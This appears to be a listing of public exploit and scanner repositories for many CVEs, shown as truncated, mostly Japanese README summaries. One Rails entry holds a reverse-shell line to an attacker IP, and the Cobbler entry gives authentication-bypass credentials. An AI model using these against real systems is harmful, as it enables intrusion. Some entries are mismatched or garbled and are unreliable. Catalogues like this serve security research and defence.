REALITY_SMASHER

REALITYSMASHER vRealize RCE + 権限昇格 CVE-2021-21975, CVE-2021-21983, CVE-0DAY-????? "理解するのと同じくらい、止めるのも難しい。" これは何ですか？ 「Reality Smasher」は、VMSA-2021-0004 で対処されたセキュリティ問題（CVE-2021-21975、CVE-2021-21983）に加えて、テスト中に発見された権限昇格の脆弱性を利用した vRealize 向けエクスプロイトです。 どのように動作しますか？ 「Reality Smasher」は、CVE-2021-21975 を悪用して...

CVE-2024-47533-Cobbler-XMLRPC-Authentication-Bypass-RCE-Exploit-POC

CVE-2024-47533 - Cobbler XMLRPC 认证绕过 RCE 漏洞利用 ⚠️ 通过认证绕过实现的 Cobbler 高危远程代码执行 🛠️ PoC 实现由 @dollarboysushil 提供 💡 概述 Cobbler 是一款 Linux 安装服务器，可快速搭建网络安装环境。在 3.0.0 至 3.2.3（不含）及 3.3.7（不含）版本中，存在一个认证漏洞。函数 utils.getsharedsecret 始终返回 -1，允许任何人使用空用户名 '' 和密码 -1 连接到 Cobbler XML-RPC 接口。这使得具有网络访问权限的攻击者能够完全控制 Cobbler...

CVE-2021-44228-log4jVulnScanner-metasploit

CVE-2021-44228-log4jVulnScanner-metasploit Log4J RCE CVE-2021-44228 の脆弱性を発見しファジングするためのオープンな検出・スキャンツール 準備 POC git clone https://github.com/TaroballzChen/CVE-2021-44228-log4jVulnScanner-metasploit cd CVE-2021-44228-log4jVulnScanner-metasploit mkdir -p /.msf4/modules/auxiliary/scanner/http cp...

CVE-2021-44228-playground

LOG4SHELL-CVE-2021-44228-Validator 概要 このツールを使用すると、ユーザーが指定したJavaおよびLog4Jのバージョンについて、単純なJava WebアプリケーションがCVE-2021-44228に対して脆弱であるかどうかを検証できます。 また、オプションで事前定義されたいくつかの緩和策のいずれかを適用することもできます。 log4shellvalidator.pyによって起動されるシミュレーションラボは、docker-composeを使用してlog4jの脆弱性を悪用し、脆弱なマシン上でRCEを獲得することをシミュレートします。 動作の仕組み...

CVE-2020-8165

CVE-2020-8165 Python Exploit これはPython3を使用してCVE-2020-8165を悪用するコードです。このエクスプロイトはrails & /dev/tcp/10.10.X.X/8989 0&1'" python3 exploit.py 10.10.10.X 8080 [email protected] password "nc 10.10.X.X 8989" 主なクレジット 元のCVE詳細：https://vulners.com/cve/CVE-2020-8165...

cve-2020-00796

CVE-2020–0796 脆弱性の特定と緩和について CVE-2020–0796 は、Server Message Block 3.0 SMBv3 ネットワーク通信プロトコルに存在する事前リモートコード実行の脆弱性であり、Microsoft は 2020 年 3 月の火曜日の更新プログラムの一部としてこの問題に対処しませんでした。 使用方法 python3 cve-2020-0796-scanner.py IP CVE-2020-0796 はどのデバイスに影響を与えますか？ SMBプロトコルにおけるパケット要求ネゴシエーション...

CVE-2025-24893

XWiki SSTI エクスプロイト SolrSearch エンドポイントの Groovy テンプレートインジェクションを介して、XWiki Server-Side Template Injection SSTI の脆弱性を悪用する Python エクスプロイトです。 脆弱性 タイプ : サーバーサイドテンプレートインジェクション SSTI コンポーネント : XWiki SolrSearch RSS フィード 影響 : リモートコード実行 影響を受けるバージョン : XWiki 15.10.8 およびその他の可能性あり 要件 pip3 install requests...

ghe-push-option-rce-scanner

CVE-2026-3854 — GitHub Enterprise Server における Push Option Injection による RCE 概要 GHE における push option 値の不適切な無害化。push アクセス権を持つ攻撃者がインスタンス上で RCE を達成します。 フィールド| 値 ---|--- CVE| CVE-2026-3854 深刻度| CRITICAL 製品| GitHub Enterprise Server CISA KEV| 2026-03-10 攻撃タイプ| Push Option Injection による RCE 認証要件| なし...

CVE-2024-23743

CVE-2024-23743 CVE-2024-23743 Notion for MacOS v.3.1.0 の問題により、リモートの攻撃者が RunAsNode および enableNodeClilnspectArguments コンポーネントを介して任意のコードを実行できる可能性があります。 electron の脆弱性を検索するプロセスを自動化するツールがあります: https://github.com/r3ggi/electroniz3r このツールを使用すると、アプリが脆弱かどうかを確認できます。 検証後、コードを注入してシェルを取得できます。 そして、シェルをお楽しみください。...

CVE-2019-9978_Exploit

CVE-2019-9978 エクスプロイト Social WarFare プラグイン =3.5.2 リモートコード実行...

CVE-2024-36401

CVE-2024-36401 プロパティ名式の評価におけるリモートコード実行（RCE）脆弱性...

chakra-exploit-framework

Chakra エクスプロイトフレームワーク このリポジトリには、EXP-401コースの準備として私が作成したブラウザエクスプロイトフレームワークが含まれています。このフレームワークは、2019年にEdgeがv8へ移行するまでその一部であったChakraエンジンを対象としています。 このフレームワークで使用されているデモ脆弱性は、CVE-2019-0567 Type Confusionです。 特徴 このフレームワークを使いやすくするために、将来のサンドボックスエスケープの実装を非常に簡単にするいくつかの便利な機能を作成しました。 抽象化されたWindows API呼び出し...

CVE-2021-46422

CVE-2022-26134RCE インストール git clone https://github.com/yigexioabai/CVE-2022-26134-cve1.git cd CVE-2022-26134-cve1 pip3 install -r requirements.txt 把CVE-2022-26134RCE.py放到pocsuite3\pocs目录下 cd pocs pocsuite3の使い方 単一のURL: pocsuite -r CVE-2022-26134RCE.py -u url 複数のURL: pocsuite -r CVE-2022-26134RCE.py...

CVE-2020-5902

CVE-2020-5902 BIG-IP バージョン 15.0.0-15.1.0.3、14.1.0-14.1.2.5、13.1.0-13.1.3.3、12.1.0-12.1.5.1、および 11.6.1-11.6.5.1 において、Traffic Management User Interface（TMUI）（Configuration utility とも呼ばれる）には、未公開ページにリモートコード実行（RCE）の脆弱性が存在します。 概念実証...

Better-CVE-2022-29464

改善版 CVE-2022-29464 特定のWSO2製品では、無制限のファイルアップロードが可能で、結果としてリモートコード実行が発生します。攻撃者は、/fileuploadエンドポイントをContent-Dispositionディレクトリトラバーサルシーケンスとともに使用して、Webルート下のディレクトリ（例：../../../../repository/deployment/server/webappsディレクトリ）に到達する必要があります。 使用方法 python3 main.py https://example.com shell.jsp https://example.com...

CVE-2024-32030-Nuclei-Template

CVE-2024-32030 Nuclei テンプレート 説明 このリポジトリには、CVE-2024-32030 脆弱性を検出するための Nuclei テンプレートが含まれています。この脆弱性は、JMX Metrics Collection JNDI Resolution を介したリモートコード実行を許可します。 脆弱性の詳細 ID: CVE-2024-32030 名前: JMX Metrics Collection JNDI RCE 作者: Hüseyin TINTAŞ 深刻度: 重大 説明: このテンプレートは、悪意のある JMX...

CVE-2020-28502

CVE-2020-28502 node-XMLHttpRequest RCE NVD の説明 これは、xmlhttprequest パッケージの 1.7.0 より前のバージョンと、xmlhttprequest-ssl パッケージの全バージョンに影響します。リクエストが同期的に送信される場合（xhr.open で async=False）、xhr.send に入力される悪意のあるユーザー入力を通じて、任意のコードが注入・実行される可能性があります。 デモ セットアップ 1. Dockerfile からイメージをビルドします $ docker build -t cve-2020-28502...

CVE-2020-9548

CVE-2020-9548：FasterXML/jackson-databind リモートコード実行脆弱性...

ConfluentPwn

ConfluentPwn Confluence事前認証ONGLインジェクションリモートコード実行スキャナー CVE-2022-26134。 使用方法 以下のGIFはツールのデモ使用例を示しています： 以下がツールのヘルプ出力です： $ ./cfscan -h +-------------------------------+ | C O N F L U E N T P W N | +-------------------------------+ + ConfluentPwn by RedHunt Labs - モダンな攻撃表面（ASM）管理企業 + Author: Pinaki...

CVE-2026-77991

abraxaslabs.tech · github.com/abraxas · @abraxasnull · [email protected] · CVE-2026-77991 CVE-2026-77991 JEM - Joomla Event Manager 5.0.0 - joomlaeventmanager.net I am @abraxasnull. Loopback lab. The client is CVE-2026-77991-Abraxas-Labs.py. The advisory named a model. Privileged RCE:...